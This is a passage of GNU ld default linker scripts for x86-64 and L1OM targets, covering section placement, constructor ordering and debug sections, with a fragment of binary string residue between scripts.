  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc: combine and sort reloc sections */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

eelf_x86_64.ci386:x86-64elf_x86_64elf64-x86-64ؾ&@@	|	y	P						gldelf_x86_64_write_build_id_sectionread_hex/* Script for ld -r: link without relocation */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rela.init    0 : { *(.rela.init) }
  .rela.text    0 : { *(.rela.text) }
  .rela.fini    0 : { *(.rela.fini) }
  .rela.rodata  0 : { *(.rela.rodata) }
  .rela.data.rel.ro 0 : { *(.rela.data.rel.ro) }
  .rela.data    0 : { *(.rela.data) }
  .rela.tdata	0 : { *(.rela.tdata) }
  .rela.tbss	0 : { *(.rela.tbss) }
  .rela.ctors   0 : { *(.rela.ctors) }
  .rela.dtors   0 : { *(.rela.dtors) }
  .rela.got     0 : { *(.rela.got) }
  .rela.bss     0 : { *(.rela.bss) }
  .rela.ldata   0 : { *(.rela.ldata) }
  .rela.lbss    0 : { *(.rela.lbss) }
  .rela.lrodata 0 : { *(.rela.lrodata) }
  .rela.iplt    0 :
    {
      *(.rela.iplt)
    }
  .rela.plt     0 :
    {
      *(.rela.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) }
  .iplt         0 : { *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
  }
  .data1        0 : { *(.data1) }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  .lbss 0 :
  {
    *(.dynlbss)
    *(.lbss)
    *(LARGE_COMMON)
  }
  .lrodata 0  :
  {
    *(.lrodata)
  }
  .ldata 0  :
  {
    *(.ldata)
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for ld -Ur: link w/out relocation, do create constructors */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rela.init    0 : { *(.rela.init) }
  .rela.text    0 : { *(.rela.text) }
  .rela.fini    0 : { *(.rela.fini) }
  .rela.rodata  0 : { *(.rela.rodata) }
  .rela.data.rel.ro 0 : { *(.rela.data.rel.ro) }
  .rela.data    0 : { *(.rela.data) }
  .rela.tdata	0 : { *(.rela.tdata) }
  .rela.tbss	0 : { *(.rela.tbss) }
  .rela.ctors   0 : { *(.rela.ctors) }
  .rela.dtors   0 : { *(.rela.dtors) }
  .rela.got     0 : { *(.rela.got) }
  .rela.bss     0 : { *(.rela.bss) }
  .rela.ldata   0 : { *(.rela.ldata) }
  .rela.lbss    0 : { *(.rela.lbss) }
  .rela.lrodata 0 : { *(.rela.lrodata) }
  .rela.iplt    0 :
    {
      *(.rela.iplt)
    }
  .rela.plt     0 :
    {
      *(.rela.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) }
  .iplt         0 : { *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
    SORT(CONSTRUCTORS)
  }
  .data1        0 : { *(.data1) }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  .lbss 0 :
  {
    *(.dynlbss)
    *(.lbss)
    *(LARGE_COMMON)
  }
  .lrodata 0  :
  {
    *(.lrodata)
  }
  .ldata 0  :
  {
    *(.ldata)
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for -N: mix text and data on same page; don't align data */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.iplt      :
    {
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
